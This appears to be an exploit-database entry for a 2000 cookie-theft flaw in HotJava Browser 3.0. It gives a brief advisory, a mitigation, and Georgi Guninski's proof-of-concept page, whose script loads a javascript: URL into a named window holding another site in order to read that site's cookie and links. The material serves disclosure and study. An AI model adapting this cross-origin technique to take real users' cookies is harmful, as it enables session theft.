header-logo
Suggest Exploit
vendor:
HotJava Browser
by:
Georgi Guninski
4.3
CVSS
MEDIUM
Cookie Theft
200
CWE
Product Name: HotJava Browser
Affected Version From: HotJava Browser 3.0
Affected Version To: HotJava Browser 3.0
Patch Exists: NO
Related CWE: N/A
CPE: a:sun_microsystems:hotjava_browser:3.0
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2000

HotJava Browser 3.0 JavaScript security vulnerability

A malicious website operator may be able to obtain cookies from a target system browsing with Sun HotJava Browser. The Document Object Model (DOM) of arbitrary URLs can be accessed if a specially formed javascript is launched from a named window. Cookies that may contain sensitive information can be acquired through this method.

Mitigation:

Disable JavaScript in the browser settings or use a different browser.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/1837/info

A malicious website operator may be able to obtain cookies from a target system browsing with Sun HotJava Browser. 

The Document Object Model (DOM) of arbitrary URLs can be accessed if a specially formed javascript is launched from a named window. Cookies that may contain sensitive information can be acquired through this method.

<HTML>
<HEAD>
<TITLE>
Demo - HotJava Browser 3.0 JavaScript security vulnerability
</TITLE>
</HEAD>
<BODY>
Demo - HotJava Browser 3.0 JavaScript security vulnerability
<BR>
This page shows the cookie and the first link from from www.sun.com in 10 seconds
<BR>
Written by Georgi Guninski
<BR>

<SCRIPT>
window.open("http://www.sun.com","g");
setTimeout("window.open('javascript:alert(\"The first link is: \"+document.links[0].href);alert(\"The cookie is: \"+document.cookie)','g')",10000);
</SCRIPT>

<center>(C) Copyright 2000 Georgi Guninski</center>
<BR>
<center>
| <a href="http://www.guninski.com">Home</a> | 
<a href="browsers.html">Internet Explorer</a> | 
<a href="win2k.html">Windows 2000</a> | 
<a href="exploit.html">AIX</a> | 
<a href="netscape.html">Netscape</a> | 
<a href="greets.html">Greets</a> | 
<a href="index.html">More...</a> | 
</center>
</BODY>
</HTML>